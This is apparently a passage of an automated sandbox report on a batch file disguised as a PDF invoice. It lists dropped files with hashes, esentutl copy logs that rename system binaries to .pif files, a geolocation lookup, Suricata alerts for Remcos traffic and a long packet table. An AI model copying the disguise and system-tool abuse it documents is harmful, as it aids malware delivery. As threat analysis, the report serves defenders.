Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+.l.J.?.J.?.J.?.2(?.J.?.!.>.J.?.!.>.J.?.J.?.K.?.!.>.J.?.!.>.J.?.!.>.J.?.!D?.J.?.!.>.J.?Rich.J.?................PE..L....~.............................. k............@..................................j....@.................................................................p...%...5..T............................................................................text............................... ..`.data...8...........................@....idata...$.......&..................@..@.didat..H...........................@....rsrc...............................@..@.reloc...%...p...&...v..............@..B................................................................................................................................................................................................................................................................................

C:\Users\Public\kn.exe

Process:	C:\Windows\System32\extrac32.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	modified
Size (bytes):	1651712
Entropy (8bit):	6.144018815244304
Encrypted:	false
SSDEEP:	24576:MeiElH5YZ5cv6r3HiaZQ8p4XGwiJDgN7MaikGLIsWWi4pT/Y/7hsyDAP760MKR:Me3lZYUvmSu4XTckYD0sWWiwT/MhTzK
MD5:	F17616EC0522FC5633151F7CAA278CAA
SHA1:	79890525360928A674D6AEF11F4EDE31143EEC0D
SHA-256:	D252235AA420B91C38BFEEC4F1C3F3434BC853D04635453648B26B2947352889
SHA-512:	3ED65172159CD1BCC96B5A0B41D3332DE33A631A167CE8EE8FC43F519BB3E2383A58737A41D25AA694513A68C639F0563A395CD18063975136DE1988094E9EF7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u}{h1..;1..;1..;..;0..;%w.:2..;%w.:*..;%w.:!..;%w.:...;1..;...;%w.:...;%w.;0..;%w.:0..;Rich1..;................PE..d...+. H.........."..................L.........@....................................q.....`.......... ......................................@Q.......`..@........x..............l'..p5..T...........................`(..............x)......XC.......................text............................... ..`.rdata..T...........................@..@.data....&..........................@....pdata...x.......z...\|..............@..@.didat.......P......................@....rsrc...@....`......................@..@.reloc..l'.......(..................@..B........................................................................................................................................................................................................................

C:\Users\Public\xpha.pif

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18944
Entropy (8bit):	5.742964649637377
Encrypted:	false
SSDEEP:	384:PVhNH/TqNcx+5tTAjtn3bPcPwoeGULZbiWBlWjVw:PVhZXx+5tTetLVohULZJgw
MD5:	B3624DD758CCECF93A1226CEF252CA12
SHA1:	FCF4DAD8C4AD101504B1BF47CBBDDBAC36B558A7
SHA-256:	4AAA74F294C15AEB37ADA8185D0DEAD58BD87276A01A814ABC0C4B40545BF2EF
SHA-512:	C613D18511B00FA25FC7B1BDDE10D96DEBB42A99B5AAAB9E9826538D0E229085BB371F0197F6B1086C4F9C605F01E71287FFC5442F701A95D67C232A5F031838
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......G.[...5]..5]..5]..]'.5]..0\..5]..6\..5]..1\..5]..4]Q.5]..4\..5]..=\..5]...]..5]..7\..5]Rich..5]................PE..L....$Z.....................2......P4.......@....@..................................c....@...... ..........................`a..\|....p.. ...............................T............................................`..\............................text....)......................... ..`.data........@......................@....idata.......`.......0..............@..@.rsrc... ....p.......<..............@..@.reloc...............F..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\json[1].json

Process:	C:\Windows\SysWOW64\SndVol.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.015105568788186
Encrypted:	false
SSDEEP:	12:tkluQ+nd6CsGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkk:qluQydRNuKyGX85jvXhNlT3/7AcV9Wro
MD5:	8937B63DC0B37E949F38E7874886D999
SHA1:	62FD17BF5A029DDD3A5CFB4F5FC9FE83A346FFFC
SHA-256:	AB2F31E4512913B1E7F7ACAB4B72D6E741C960D0A482F09EA6F9D96FED842A66
SHA-512:	077176C51DC10F155EE08326270C1FE3E6CF36C7ABA75611BDB3CCDA2526D6F0360DBC2FBF4A9963051F0F01658017389FD898980ACF7BB3B29B287F188EE7B9
Malicious:	false
Preview:	{. "geoplugin_request":"8.46.123.75",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

\Device\ConDrv

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	590
Entropy (8bit):	4.639478289631588
Encrypted:	false
SSDEEP:	12:qzBBVmXxTzHeSbZ7u0wxDDDDDDDDjCaY5Da3laYAV/TB8NGNd:iBB0XxTzHp7u0wQakDa1aT/t8Ny
MD5:	C3E9AB89188392AEFD277158441EC0ED
SHA1:	D53C1AC771827885E201BC5796613C33CB549E17
SHA-256:	A22F17B3DDCA46ED068787D1C702FBFA27D5BC94FCF0115A111009A0ED01437F
SHA-512:	F3B77D563ED6ACD3C979A1A863FFA8435D5D7AE19D6B03AC3DA07C62D1D6774A7AB6691C53E2FCAAF7E5B61A09D111C11C0AC1C1EAA15EDA3F8332D868F7BD07
Malicious:	false
Preview:	..Initiating COPY FILE mode..... Source File: C:\Users\Public\Libraries\AnyDesk.PIF...Destination File: C:\\Users\\Public\\Libraries\\Faogvkgh.PIF...... Copy Progress (% complete)...... 0 10 20 30 40 50 60 70 80 90 100... \|----\|----\|----\|----\|----\|----\|----\|----\|----\|----\|... ..........................................................Total bytes read = 0x12b800 (1226752) (1 MB)....Total bytes written = 0x12c000 (1228800) (1 MB).......Operation completed successfully in 0.140 seconds.....

\Device\Null

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	561
Entropy (8bit):	4.5335248555285315
Encrypted:	false
SSDEEP:	12:q6p4xTXWIceSbZ7u0wxDDDDDDDDjCaY5B4aYA/4TB8NGNgL:/p4xT5cp7u0wQakB4aV4t8NN
MD5:	19171115E3ABA564083635A13C1B6AD9
SHA1:	5AE256170731551E0BE5C4B65A195DA524CB3BF6
SHA-256:	7714EE431C356DC1BCBD5328E5B052F50FA32CB4FEB5BD9A4D73F06882661584
SHA-512:	4578209AD28B6742259256F5FC8AFCC9B440F56B1CE2C84E058E0F05734EE922C512B50C606B7AC659D951CCC24CFB7CA28B0E019217B149137AC19273C35531
Malicious:	false
Preview:	..Initiating COPY FILE mode..... Source File: C:\\Windows\\System32\\ping.exe...Destination File: C:\\Users\\Public\\xpha.pif...... Copy Progress (% complete)...... 0 10 20 30 40 50 60 70 80 90 100... \|----\|----\|----\|----\|----\|----\|----\|----\|----\|----\|... ..........................................................Total bytes read = 0x4a00 (18944) (0 MB)....Total bytes written = 0x5000 (20480) (0 MB).......Operation completed successfully in 0.141 seconds.....

Static File Info

General

File type:	Unicode text, UTF-8 text, with very long lines (468), with CRLF line terminators
Entropy (8bit):	4.977989942226025
TrID:
File name:	USD470900_COPY_800BLHSBC882001.PDF.bat
File size:	3'383'372 bytes
MD5:	c96743116088d21b52516f16f4866f69
SHA1:	9b9d500993f74ed975945419b6a25c03e80d8400
SHA256:	58348cc94b984ca026fa0a319b93ac988a394ed3d5ec39c01c47a8e762ebdb16
SHA512:	1a7520b8de10e9fb71f18f22287e298f25743a26ea946e71fb3b895bb8679f86986fe2b0ec30a0d7589cd85af404eca27d8ccf2a47f895f9c166c55660a8edd0
SSDEEP:	24576:PdLbg3tuCmhfOs2TLie3m0nKaf5ohA87eR4xGVPTXJF7wb2l+qCWuj8lzoQjJpcp:PR03turhfwL8uJFlEoNZHk
TLSH:	C4F5C8EB3EBD274E670433AF5F4FF555072FCC140A815ED844C609C8969A71B29A0EAE
File Content Preview:	COMCOM@%..%e%.. .. .. ..%c%..%h%........ ........ %o% ..........% %......%o%.......... %f% %f%....%..s%..................... r%e%...%t%.................. ...% %............%"%............%H%... %R%....... ...%T%.......%w%.........o......%=% ......... ....

File Icon


Icon Hash:	9686878b929a9886

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T07:53:20.198467+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.8	49709	77.221.149.38	47666	TCP
2024-11-20T07:53:21.628365+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49710	178.237.33.50	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 07:53:12.105252028 CET	49706	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.110373974 CET	80	49706	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.110457897 CET	49706	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.110599995 CET	49706	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.115866899 CET	80	49706	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.115951061 CET	49706	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.220375061 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.225476027 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.225573063 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.260776043 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.265722990 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.721792936 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.721932888 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.721954107 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.721976995 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.721986055 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.721990108 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.722002983 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.722014904 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.722027063 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.722029924 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.722042084 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.722049952 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.722058058 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.722086906 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.722109079 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.727005959 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.727034092 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.727081060 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.808609009 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.808629036 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.808640957 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.808687925 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.808698893 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.808743954 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.808774948 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.808788061 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.808799028 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.808813095 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.808823109 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.808854103 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.809655905 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.809669018 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.809680939 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.809694052 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.809705973 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.809705973 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.809751034 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.810497046 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.810509920 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.810522079 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.810533047 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.810544968 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.810551882 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.810573101 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.810597897 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.811371088 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.811383963 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.811393976 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.811407089 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.811424017 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.811450958 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.813673973 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.814023972 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.814093113 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.895451069 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.895556927 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.895611048 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.895616055 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.895644903 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.895679951 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.895689011 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.895715952 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.895749092 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.895757914 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.895783901 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.895816088 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.895823956 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.895850897 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.895884037 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.895889044 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.896296978 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.896331072 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.896348000 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.896364927 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.896398067 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.896420002 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.896433115 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.896478891 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.896569967 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.896673918 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.896713018 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.896719933 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.896747112 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.896780968 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.896790981 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.896815062 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.896850109 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.896853924 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.896883965 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.896915913 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.896924019 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.897442102 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.897476912 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.897488117 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.897511005 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.897543907 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.897553921 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.897578001 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.897609949 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.897617102 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.897644043 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.897685051 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.897694111 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.897721052 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.897756100 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.897762060 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.897794008 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.897838116 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.898245096 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.898399115 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.898432016 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.898449898 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.898468018 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.898500919 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.898519039 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.898534060 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.898566961 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.898587942 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.898600101 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.898633003 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.898639917 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.898667097 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.898713112 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.941874027 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.941899061 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.941915989 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.941929102 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.941956997 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.941997051 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.982134104 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982152939 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982161999 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982167006 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982168913 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982223988 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982232094 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.982242107 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982265949 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.982274055 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982290030 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982300997 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982312918 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.982336998 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.982505083 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982556105 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982598066 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982599974 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.982610941 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982618093 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982666969 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.982825994 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982863903 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.982917070 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982928991 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982944965 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982950926 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982956886 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982963085 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982965946 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.982969046 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.982983112 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.983017921 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.983182907 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.983222008 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.983309984 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.983326912 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.983339071 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.983355045 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.983361006 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.983361006 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.983366966 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.983372927 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.983375072 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.983380079 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.983390093 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.983414888 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.983952999 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.983967066 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.983978987 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.983989954 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.983999014 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.984005928 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984019995 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984026909 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.984034061 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984045982 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984059095 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984061956 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.984074116 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984082937 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.984088898 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984100103 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.984129906 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.984551907 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984565973 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984577894 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984590054 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984602928 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984615088 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984622002 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.984643936 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.984652042 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984666109 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984666109 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.984679937 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984693050 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984704018 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984708071 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.984716892 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984729052 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.984730959 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984744072 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984756947 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.984760046 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.984778881 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.987521887 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.987534046 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.987545967 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.987565041 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.987588882 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:12.987701893 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.987715960 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:12.987728119 CET	80	49707	216.172.172.178	192.168.2.8
